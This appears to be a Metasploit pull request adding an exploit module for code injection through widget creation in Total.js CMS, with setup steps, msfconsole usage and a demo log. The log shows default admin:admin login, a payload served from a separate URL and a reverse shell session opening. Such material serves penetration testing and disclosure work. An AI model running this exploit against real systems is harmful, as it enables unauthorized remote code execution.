Add Total.js CMS Code Injection in Widget Creation

[wchen-r7]

Description

Total.js is a Node.js Framework for building e-commerce applications, REST services, real-time apps, or apps for Internet of Things (IoT), etc. Total.js CMS is a Content Management System (application) that is part of the Total.js framework. A commercial version is also available, and can be seen used world-wide.

In Total.js CMS, a user with admin permission may be able to create a widget, and extend CMS functionalities for visitors. However, this can also be abused to upload JavaScript code that will be evaluated server side. As a result, it is possible to embed malicious JavaScript in the new widget, and gain remote code execution.

Vulnerable Setup

First, please install node. You can do this easily with brew, for example:

$ brew install node

And then download the following. There is a start.sh, just run that to start the server (will be port 8000):

cms.zip

Verification

• Start msfconsole
• set rhosts [ip]
• set srvhost [ip]
• set target [id] (0 = Linux, 1 = Mac)
• set payload [payload name]
• run
• You should get a session

Demo

Check

msf5 exploit(multi/http/totaljs_cms_widget_exec) > check
[*] 192.168.0.21:8000 - The target appears to be vulnerable.

Exploit

msf5 exploit(multi/http/totaljs_cms_widget_exec) > run
[*] Exploit running as background job 37.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.0.21:4444 
[*] Using URL: http://192.168.0.21:8080/vd9qtAXD
[*] Server started.
msf5 exploit(multi/http/totaljs_cms_widget_exec) >
[*] Attempting to authenticate with admin:admin
[+] Authenticatd as: admin:admin
[*] Creating a widget...
[+] Widget created successfully
[*] 192.168.0.21     totaljs_cms_widget_exec - 192.168.0.21 requesting: /vd9qtAXD/p_qxVkK
[*] 192.168.0.21     totaljs_cms_widget_exec - Sending payload to 192.168.0.21
[*] Command shell session 32 opened (192.168.0.21:4444 -> 192.168.0.21:50399) at 2019-09-25 17:00:12 -0500
[*] Finding the payload from the widget list...
[+] Widget cleared successfully

msf5 exploit(multi/http/totaljs_cms_widget_exec) >

[wchen-r7]

I have updated the code. Please let me know if there's anything else I need to change. Thanks!

[wvu]

Thank you!

[wvu]

Release Notes

This adds an exploit against the Total.js CMS framework, written in Node.js. An attacker with administrator credentials may create a new widget containing arbitrary JavaScript code that is evaluated server-side.